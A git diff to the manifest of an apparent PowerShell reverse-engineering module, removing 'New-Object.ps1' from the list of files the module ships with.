diff --git a/ReverseEngineering/ReverseEngineering.psd1 b/ReverseEngineering/ReverseEngineering.psd1 index d9c733f..90eec8e 100644 --- a/ReverseEngineering/ReverseEngineering.psd1 +++ b/ReverseEngineering/ReverseEngineering.psd1 @@ -76,7 +76,7 @@ ModuleList = @(@{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; G FileList = 'ReverseEngineering.psm1', 'ReverseEngineering.psd1', 'Get-ILDisassembly.ps1', 'Get-NtSystemInformation.format.ps1xml',
'Get-NtSystemInformation.ps1', 'Get-Member.ps1', 'Get-MethodAddress.ps1', 'Get-PEB.format.ps1xml',
'Get-PEB.ps1', 'Get-Strings.ps1', 'Get-StructFromMemory.ps1', 'ConvertTo-String.ps1',
- 'Get-Entropy.ps1', 'New-Object.ps1', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.ps1', 'Usage.md'
+ 'Get-Entropy.ps1', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
|